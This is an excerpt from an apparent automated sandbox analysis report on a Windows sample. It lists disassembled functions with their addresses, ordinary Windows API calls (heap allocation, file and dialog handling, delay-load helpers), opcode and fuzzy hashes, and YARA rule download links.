                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prolog
                  • String ID:
                  • API String ID: 3519838083-0
                  • Opcode ID: e99a7dca6b773eabdce60ad99d4b6e4fa935e4f99246930ec0a3035ee51562e9
                  • Instruction ID: f636df292c0d6fbb71ab6467eab98f1124d0e309cf620b97d6ae238dce9e22ff
                  • Opcode Fuzzy Hash: e99a7dca6b773eabdce60ad99d4b6e4fa935e4f99246930ec0a3035ee51562e9
                  • Instruction Fuzzy Hash: 7841913194069C9ADB20DB62C955BEA73E8EF50304F0450EAE59EB3093DF756EC8DB50
                  Function 00EE1E00 Relevance: 1.6, APIs: 1, Instructions: 76COMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EE1E05
                    • Part of subcall function 00EE3B3D: __EH_prolog.LIBCMT ref: 00EE3B42
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prolog
                  • String ID:
                  • API String ID: 3519838083-0
                  • Opcode ID: f4aae4820e488c4140f342a33c062d8f66ce1e09ec71512271a711110b0471a9
                  • Instruction ID: c3ca0f3f6eaf7721e562c50d38f266622843b9d7d15b486f93e517664c30b0c9
                  • Opcode Fuzzy Hash: f4aae4820e488c4140f342a33c062d8f66ce1e09ec71512271a711110b0471a9
                  • Instruction Fuzzy Hash: 0121283190424D9ECB25EF99D9419EEBBF5BF58300B1010AEE845B7261CB325E50DA60
                  Function 00EFA7C3 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EFA7C8
                    • Part of subcall function 00EE1380: __EH_prolog.LIBCMT ref: 00EE1385
                    • Part of subcall function 00EE1380: new.LIBCMT ref: 00EE13FE
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prolog
                  • String ID:
                  • API String ID: 3519838083-0
                  • Opcode ID: 29ffb70b001ea780e283fbfa6f845121655bdb62bb3fbdc5e10dfe5814dd951b
                  • Instruction ID: ebc97f84f589f3bc8b85b2c07cd39d530597149e5fe99f8a640eb074a91587c6
                  • Opcode Fuzzy Hash: 29ffb70b001ea780e283fbfa6f845121655bdb62bb3fbdc5e10dfe5814dd951b
                  • Instruction Fuzzy Hash: AF217A71C0428D9ACB14DF99C8429FEBBF4AF19304F0414EEE809B7242DB756E46DBA1
                  Function 00EE92E6 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prolog
                  • String ID:
                  • API String ID: 3519838083-0
                  • Opcode ID: 3c214ff0a72eb29a8440e17a1f9143f16b0900f75811660053204716196a31d3
                  • Instruction ID: d1e602e9984f93bccb7eac059fced0c191add4649f32ee59644c4fc9eca7a368
                  • Opcode Fuzzy Hash: 3c214ff0a72eb29a8440e17a1f9143f16b0900f75811660053204716196a31d3
                  • Instruction Fuzzy Hash: 1D11A173E0056C9BCB22AFAACC419EEB7B6EF88750F005125F819B7252DA348D1186A0
                  Function 00EEAA88 Relevance: 1.5, APIs: 1, Instructions: 40COMMON
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
                  • Instruction ID: 59a4748826d1170b6f5822db235d4303d14c5af198e4b7f876f837d82151ab21
                  • Opcode Fuzzy Hash: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
                  • Instruction Fuzzy Hash: 16F08C3150074D9FDB30DA66C945656B7E8EB11324F28993EE49AE2690E770F880C742
                  Function 00EE5BD7 Relevance: 1.5, APIs: 1, Instructions: 32COMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EE5BDC
                    • Part of subcall function 00EEB07D: __EH_prolog.LIBCMT ref: 00EEB082
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prolog
                  • String ID:
                  • API String ID: 3519838083-0
                  • Opcode ID: 45cc4b3b7b4100f34a0a2911f50868da3f0c7ab93a93346cebe93677e7e927f9
                  • Instruction ID: fa35005d0fc2ceb38cff60b677d38c02717a69783f771ac7224bb586c6626396
                  • Opcode Fuzzy Hash: 45cc4b3b7b4100f34a0a2911f50868da3f0c7ab93a93346cebe93677e7e927f9
                  • Instruction Fuzzy Hash: 1501AD30A006D8DAC724F7A8C0053EEF7E49F19300F44509EE85A232A3CBB02B08C6A2
                  Function 00F08518 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00F0C13D,00000000,?,00F067E2,?,00000008,?,00F089AD,?,?,?), ref: 00F0854A
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AllocateHeap
                  • String ID:
                  • API String ID: 1279760036-0
                  • Opcode ID: de3645741fe9b8b56a2befbb80802d4a0578753633c29849b18c9e68e71a90c0
                  • Instruction ID: 01402f615988d3dd64dda53d25db8b6aef4dee9a54e2a3e881fb0a898f7afe1a
                  • Opcode Fuzzy Hash: de3645741fe9b8b56a2befbb80802d4a0578753633c29849b18c9e68e71a90c0
                  • Instruction Fuzzy Hash: E8E0E535A406655AEF3136695C00BBA778C9B517F0F1D0210ACD4A20C0CE20CC0375E5
                  Function 00EEA4C6 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                  Download Yara Rule
                  APIs
                  • FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00EEA4F5
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CloseFind
                  • String ID:
                  • API String ID: 1863332320-0
                  • Opcode ID: e9eb62753f38728b46010953b137325084d7eb0400bce27dd2b4b73c89bd527d
                  • Instruction ID: 24d683b7393c777a616f5561fc17aafb7ac6aed9e4f7d72e0a387360b5952daf
                  • Opcode Fuzzy Hash: e9eb62753f38728b46010953b137325084d7eb0400bce27dd2b4b73c89bd527d
                  • Instruction Fuzzy Hash: B5F0BE350093C4AACA225BB988047D6BBE1AF0A325F08DA4DF1F922192C2B524899723
                  Function 00EF067C Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON
                  Download Yara Rule
                  APIs
                  • SetThreadExecutionState.KERNEL32(00000001), ref: 00EF06B1
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ExecutionStateThread
                  • String ID:
                  • API String ID: 2211380416-0
                  • Opcode ID: bca66d57dfb468e8d2f5b55070f5eb33726cb286ba74ca538305dfe16403136a
                  • Instruction ID: 72084a88853387fa721c458c682d09daeadbeff22ae84c6a1387475decd39f02
                  • Opcode Fuzzy Hash: bca66d57dfb468e8d2f5b55070f5eb33726cb286ba74ca538305dfe16403136a
                  • Instruction Fuzzy Hash: 5DD02B2130105C65C6213325A8067FE2E874FC2754F0F2061B20D739D7CF46088663E3
                  Function 00EF9D7B Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON
                  Download Yara Rule
                  APIs
                  • GdipAlloc.GDIPLUS(00000010), ref: 00EF9D81
                    • Part of subcall function 00EF9B0F: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00EF9B30
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Gdip$AllocBitmapCreateFromStream
                  • String ID:
                  • API String ID: 1915507550-0
                  • Opcode ID: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
                  • Instruction ID: aa24473d73ee667204944e84667f3e5d3a01cbf0860d4c9efeff29c278411a06
                  • Opcode Fuzzy Hash: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
                  • Instruction Fuzzy Hash: 5FD0A73021820C7ADF41BA718C02B7A7BE8DB00340F105025BE48A6262FD72DE10A261
                  Function 00EE9989 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                  Download Yara Rule
                  APIs
                  • GetFileType.KERNELBASE(000000FF,00EE9887), ref: 00EE9995
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: FileType
                  • String ID:
                  • API String ID: 3081899298-0
                  • Opcode ID: b569821adbfb1e5b1637371f7e84b6ad490c92051c5a67263f72804093d03741
                  • Instruction ID: 8a109717f7be7dff4549b6a0872d067a7873e0657e7293788a47e66a125e0383
                  • Opcode Fuzzy Hash: b569821adbfb1e5b1637371f7e84b6ad490c92051c5a67263f72804093d03741
                  • Instruction Fuzzy Hash: 38D012310111C8958F2146364D090D977D1DBC336EB38E6A8D035D80A3D737C803F541
                  Function 00EFD41A Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON
                  Download Yara Rule
                  APIs
                  • SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00EFD43F
                    • Part of subcall function 00EFAC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00EFAC85
                    • Part of subcall function 00EFAC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00EFAC96
                    • Part of subcall function 00EFAC74: IsDialogMessageW.USER32(00010416,?), ref: 00EFACAA
                    • Part of subcall function 00EFAC74: TranslateMessage.USER32(?), ref: 00EFACB8
                    • Part of subcall function 00EFAC74: DispatchMessageW.USER32(?), ref: 00EFACC2
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Message$DialogDispatchItemPeekSendTranslate
                  • String ID:
                  • API String ID: 897784432-0
                  • Opcode ID: d66ad1f90bd078ddea360fd6abb657a8fea0a7797df53d9b68c4efcdbda98264
                  • Instruction ID: bd7ca3daf934182ba8caf89fdbbc61e26114c1a11c99654d4317ab32a86dcaa8
                  • Opcode Fuzzy Hash: d66ad1f90bd078ddea360fd6abb657a8fea0a7797df53d9b68c4efcdbda98264
                  • Instruction Fuzzy Hash: ADD0C771144304BBD6117B51CE07F1F7AE6BB98B04F404564B348740F1C672AD31EB16
                  Function 00EFD8E8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: ec941ec56386ee3e56d813f15c4ee0e9df0bb19878e86773dc9db56e409f7176
                  • Instruction ID: 122414666f0f735891758b2cd04d7df980432db339b8ee2457ea1bb3f4178f16
                  • Opcode Fuzzy Hash: ec941ec56386ee3e56d813f15c4ee0e9df0bb19878e86773dc9db56e409f7176
                  • Instruction Fuzzy Hash: 14B012A236C109AC318C61047C06E760A4DC5C0F10330512EB60DF00C1E5409CC52433
                  Function 00EFD8FC Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 485aba5d6ad207bf913890d701cf6dfce11662057540f7a36d308548946fa407
                  • Instruction ID: 9eec8bf960ba9cdec52ade163e879b4332390fe1ec6a874064683604189fc7c8
                  • Opcode Fuzzy Hash: 485aba5d6ad207bf913890d701cf6dfce11662057540f7a36d308548946fa407
                  • Instruction Fuzzy Hash: 16B012A236C009AC314C61057C06E760A4DD5C0F10330502EB60DF00C2E5409C852433
                  Function 00EFD8F2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 1dfff5b54408c042a3d43a1e69a6ec35cdba46bbacdd29586f97a78e40d6ea64
                  • Instruction ID: 7ee50c42818e35bbdcac903263564e0175608a1b2e059f23b958ed50e30dfbf1
                  • Opcode Fuzzy Hash: 1dfff5b54408c042a3d43a1e69a6ec35cdba46bbacdd29586f97a78e40d6ea64
                  • Instruction Fuzzy Hash: EEB012A236C009AC314C61047D06E760A4DC5C0F10330502EB60DF00C1E5409D862433
                  Function 00EFD8CA Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
                  • Opcode ID: 560b427d285487afee674818051486f4bb1662e7a6df3f5673b24067c51e6d1c
                  • Instruction ID: 524c3da78f00dd08e8fece9f9a22bd4014308c29f6d7772c3292ec49dd64d47a
                  • Opcode Fuzzy Hash: 560b427d285487afee674818051486f4bb1662e7a6df3f5673b24067c51e6d1c
                  • Instruction Fuzzy Hash: D6B0129236C009AC314C61047D06E760A4DC5C0F10330902EB60DF01C1E5409C8F2433
                  Function 00EFD8C0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                  Download Yara Rule
                  APIs
                  • ___delayLoadHelper2@8.DELAYIMP ref: 00EFD8A3
                    • Part of subcall function 00EFDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EFDFD6
                    • Part of subcall function 00EFDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EFDFE7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                  • String ID:
                  • API String ID: 1269201914-0
